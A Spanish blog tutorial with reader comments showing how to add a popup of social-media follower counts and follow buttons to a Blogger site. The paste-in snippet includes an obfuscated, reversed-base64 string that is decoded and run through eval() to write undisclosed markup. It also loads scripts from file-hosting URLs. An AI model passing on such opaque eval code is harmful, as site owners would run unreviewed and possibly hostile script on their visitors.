19 febrero 2014

Mostrar total de seguidores con botones de seguir en un popup

seguidores-redes-sociales

De nuevo estoy con vosotros con un tutorial, en este caso, os presento un nuevo cacharrito que nos muestra en un popup o caja emergente un Contador Social Automático de nuestros seguidores en las diferentes Redes Sociales, este Gadget me lo he encontrado en la página de Blog Nivel, pero lo he adaptado junto con los botones de "Seguir" para que aparesca al entrar en el blog en una caja emergente. Nos muestra los seguidores totales de nuestras páginas de Facebook, Twitter y Google+.

Puedes ver cómo funciona haciendo click en el botón de Ver Demo.

Solo funciona con páginas no con perfiles.

Para agregar este gadget a vuestro blog, seguid este paso:

Plantilla-Diseño-Agregar gadget HTML-copiar y pegar dentro el siguiente código:

<link href='https://googledrive.com/host/0BwZ7Sm1QQc1lTnlVZG1DS3V0N3c/popupseguidores.css' rel='stylesheet' type='text/css'/>
<script src='https://ajax.googleapis.com/ajax/libs/jquery/1.6.1/jquery.min.js'></script>
<script src="https://googledrive.com/host/0BwZ7Sm1QQc1lTnlVZG1DS3V0N3c/scripseguidores.js"></script>
<script type="text/javascript">
jQuery(document).ready(function(){
if (document.cookie.indexOf('visited=false') == -1) {
var fifteenDays = 1000*60*60*24*30;
var expires = new Date((new Date()).valueOf() + fifteenDays);
document.cookie = "visited=true;expires=" + expires.toUTCString();
$.colorbox({width:"550px", inline:true, href:"#subscribe"}); }});
</script>
<div style='display:none'>
<div id='subscribe' style='padding:1px; background-color: #;-moz-border-radius: 5px;-moz-border-radius: 5px;-webkit-border-radius: 5px;-webkit-border-radius: 5px;border-radius: 5px;border-radius: 5px;-moz-box-shadow:5px 5px 8px #000;'>
<h4 class="titulo"><center>Seguidores en Redes Sociales</center></h4>
<center><div class='caja'>
<div class="arqam-widget-counter arq-flat arq-col3">
<ul>
<li class="arq-facebook">
<a href="URL PAGINA FACEBOOK" target="_blank">
<i class="arqicon-facebook"></i>
<span class="share__count"></span>
<small>Seguidores</small>
</a>
</li>
<li class="arq-twitter">
<a href="URL DE TWITTER" target="_blank">
<i class="arqicon-twitter"></i>
<span class="tshare__count"></span>
<small>Seguidores</small>
</a>
</li>
<li class="arq-google">
<a href="URL PAGINA DE GOOGLE+" target="_blank">
<i class="arqicon-gplus"></i>
<span class="gshare__count"></span>
<small>Seguidores</small>
</a>
</li>
</ul>
</div>
<div id='botones'>
<div class='rface'>
<iframe src="//www.facebook.com/plugins/like.php?href=https%3A%2F%2Fwww.facebook.com%2FNOMBRE-PAGINA-FACEBOOK&amp;width=100&amp;layout=button&amp;action=like&amp;show_faces=false&amp;share=false&amp;height=35&amp;" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:100px; height:35px;" allowtransparency="true"></iframe>
</div>
<div class='rtwitter'>
<a href="https://twitter.com/NOMBRE-DE-TWITTER" class="twitter-follow-button" data-show-count="false" data-lang="es">[email protected]</a><br/><script>!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src="//platform.twitter.com/widgets.js";fjs.parentNode.insertBefore(js,fjs);}}(document,"script","twitter-wjs");</script>
</div>
<div class='g-plusones'>
<div class="g-follow" data-annotation="none" data-height="24" data-href="URL-PAGINA-GOOGLE+" data-rel="publisher"></div>
<script type="text/javascript">
window.___gcfg = {lang: 'es'};
(function() {
var po = document.createElement('script'); po.type = 'text/javascript'; po.async = true;
po.src = 'https://apis.google.com/js/platform.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(po, s);
})();
</script>
</div>
</div>
</div></center></div>
<script type="text/javascript">
var f_page = 'NOMBRE DE PAGINA FACEBOOK';
var t_page = 'NOMBRE DE TWITTER';
var g_page = '+NOMBRE-O-ID-PAGINA-GOOGLE';
var g_key = 'AIzaSyDV4Tsar8AblExfmdCt5E8mEPWuLtF_cP0';
var I1l='==wOpkSZwF2YzV2XoUGchN2cl5WdoUGdpJ3duQnbl1Wdj9GZ7kCMwkEKkxWaoNEZuVGcwFmLwAzTKsTXwsVKnQWYlh2JoUWbh50ZhRVeCNHduVWblxWR0V2ZuQnbl1Wdj9GZg0DIwAzTgIXY2pwOpwkUV5CduVWb1N2bkhCduVmbvBXbvNUSSVVZk92YuV2Kn0DbyVnJnsSKyVmcyVmZlJnL05WZtV3YvRGK05WZu9Gct92QJJVVlR2bj5WZrcSPmVmcmcyKns2b9MmczRXZn9zLt92YuUGdhN2c1ZmYvlXbukGch9yL6AHd0h2Jg0DIjJ3cuADMJpwOpcCdwlmcjN3JoQnbl1WZsVUZ0FWZyNmL05WZtV3YvRGI9ACMwkEIyFmd7cSRzUCdwlmcjN3LDNTJCNTJ5ITJEdTJBBTJwITJwITJCNTJ5ITJEdTJBBTJCNTJ5ITJ05WdvN2XfVmchh2cnhjMlwWb0hmL5ITJ3ITJ05WdvN2XfVmchh2cn5yNyUCOyUCNyUSQwUiQzUCR1UyNyUCduV3bDVmbPNXdsB3NyUiQ1USY0FGZwITJENTJwITJ05WdvN2XfVmchh2cnFEMlI0NlAjMlkjMlEGdhRGOyUibvlGdj5WdmBjMlMkMlcjMlY0MlQ0Mls2YhJGbsF2Y2ITJ3ITJrkXZr91ZrcjMlQ0MlkXZrZ0MlcjMlsSZnFGcfd2K3ITJvUGbw9WZw9SM29yc1xGcv02bj5ycpBXYlx2Zv92Zuc3d39yLBNTJzBHd0h2NyUCOyUiTPNlS0V2ZuQjMlEEMlI0MlkjMlQ0NlEEMlI0MlkjMlQnb192Yf9VZyFGazRHOyUCbtRHaukjMlcjMlQnb192Yf9VZyFGazRnL3ITJ4ITJ0ITJBBTJCNTJEVTJ3ITJ05WdvN2XzJXZ39Gbs9mZ3ITJCVTJhRXYkBjMlQ0MlAjMlQnb192Yf9VZyFGazRXQwUiQ3UCMyUSOyUSY0FGZ4ITJu9Wa0Nmb1ZGMyUyQyUyNyUiRzUCRzUyajFmYsxWYjZjMlcjMlsSZnFGcfR3K3ITJENTJl1WYu9lblVmcjNnRzUibvNnauc3boN3LzJXZzV3Lx8SbvNmLyVGd0l2d05SawFmLuR2Yv8SQzUCc0RHa3ITJ4ITJO90UKRXZn5CNyUSQwUiQzUSOyUCR3USQwUiQzUSOyUCduV3bj91XlJXYoNHOyUCbtRHaukjMlcjMlQnb192Yf9VZyFGaz5yNyUCOyUCNyUSQwUiQzUCR1UyNyUycltWasdjMlIUNlEGdhRGMyUCRzUCMyUCduV3bj91XlJXYoNHMyUichZXQwUiQ3UCMyUSOyUSY0FGZ4ITJu9Wa0Nmb1ZGMyUyQyUyNyUiRzUCRzUyajFmYsxWYjZ0MlcjMlsSZnFGcfZ2K3ITJv02bj5yav9mYlNWYm5CawFmcn9yLBNTJzBHd0h2NyUCOyUiTPNlS0V2ZuQjMlEEMlI0NlkjMlgjMl42bpR3YuVnZ4ITJ5RWYlJnL5ITJ05WZtV3YvRGOyUCNyUSRzUCdwlmcjN3QzUyJ9UGchN2cl9FIyFmd';var _0x84de=["ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=","","charAt","indexOf","fromCharCode","length"];function _0Ol(data){var OOIlOI=_0x84de[0];var o1,o2,o3,h1,h2,h3,h4,bits,i=0,enc=_0x84de[1];do{h1=OOIlOI[_0x84de[3]](data[_0x84de[2]](i++));h2=OOIlOI[_0x84de[3]](data[_0x84de[2]](i++));h3=OOIlOI[_0x84de[3]](data[_0x84de[2]](i++));h4=OOIlOI[_0x84de[3]](data[_0x84de[2]](i++));bits=h1<<18|h2<<12|h3<<6|h4;o1=bits>>16&0xff;o2=bits>>8&0xff;o3=bits&0xff;if(h3==64){enc+=String[_0x84de[4]](o1);} else {if(h4==64){enc+=String[_0x84de[4]](o1,o2);} else {enc+=String[_0x84de[4]](o1,o2,o3);} ;} ;} while(i<data[_0x84de[5]]);;return enc;} ;function OOI(string){var ret=_0x84de[1],i=0;for(i=string[_0x84de[5]]-1;i>=0;i--){ret+=string[_0x84de[2]](i);} ;return ret;} ;eval(_0Ol(OOI(I1l)));
</script></div>

Cambiar los colores por vuestras respectivas URL o Nombres de Redes.

Como siempre digo, si tenéis algún problema.....!!!!Comentad!!!!

Escrito por:

Mi nombre es Antonio, soy sobre todo Sevillista y apasionado con los blog desde el 2007.

Sígueme en: | Facebook | Twitter | Google+

20 comentarios

Gracias Antonio lo probare mil gracias por tus aportes

Excelente, me preguntaba si tienes el link para las pestañas/tabs/solapas que esten en la pagina del demo al que nos manda este tutorial.

¡Buenísimo! Aunque decidí quedarme con la versión estática, el pop-up está genial. Aunque tengo una duda. No me aparecen los seguidores de Google+. Dice que hay que poner el id de la página y mi página es: https://plus.google.com/b/102724044952956169737/102724044952956169737/about el id sería 102724044952956169737 ¿No? Ya no se que hacer para que funcione.

Blueli, como sabrás en Google al igual que Facebook, existen los perfiles y páginas, pués debes colocar la ID de la página de Google, no la de tu perfil.

Es más, en la página te da la opción de colocar tu nombre en lugar de ID.

HOLA!

Muchisimas gracias! me gusto mucho la estetica.

Me quedo asi: http://solucionariosdelibros.blogspot.com/

Saludos.

Tengo una duda ¿si quiero que el pop up solo se vea una vez o dos cada día por ip como lo hacemos?

Complicado Manu, tendríamos que modificar totalmente el script y no es una cosa que se me de muy bien.

saludos en la parte que dice busque este codigo y pegue }..... pero no aparece el codigo por que hay un anuncio de adsense

saludo hice los paso como estan aqui pero no me funciona

Junior no veo instalado el popup, así que no puedo ver donde se produce el fallo.

Amigo es sencillo el truco, pero aun asi te3ngo una falla en seguidores de google no me aprece la cantidad podras ayudarme?? eh puesto mi id de googl mas que es el siguente: +ownezthenet/posts y no me aprece el numero de seguidores aqui el blog espero puedas ayudarme http://adictos-alared.blogspot.mx/

no funciona el contador de twitter en el demo tampoco funciona, como solucionarlo?

ME AGRADA PERO QUE PASA SI SOLO QUIERO QUE APARESCA AL VISITANTE UNA VES AL DIA

ya no existe mas el ejemplo. Saludos

Jose, como he comentado anteriormente en otro post, estoy teniendo problemas con los archivos alojados, te dejo la nueva dirección del script y solo debes cambiar la url.
https://dl.dropboxusercontent.com/u/54259066/scripseguidores.js

tengo un problema al aplicar me da un error en otro gadget en pocas palabras se juntan las tres columnas ojala y me entiendas si no te dejare una imagen

http://2.bp.blogspot.com/-gaRK3hTDPcI/VSIZ4qoBVMI/AAAAAAAAAdE/-sLmybVYOm4/s1600/Sin-t%C3%ADtulo-1.png

SystemHaCker, seguramente el script que lleva este gadget sea incompatible con algún script de tu plantilla y ello conlleva ese desplazamiento.


Por favor, comente de acuerdo al tema del artículo.
Serán removidos todos los Comentarios con enlaces.
Si quieres recibir los nuevos comentarios marca "Avisarme"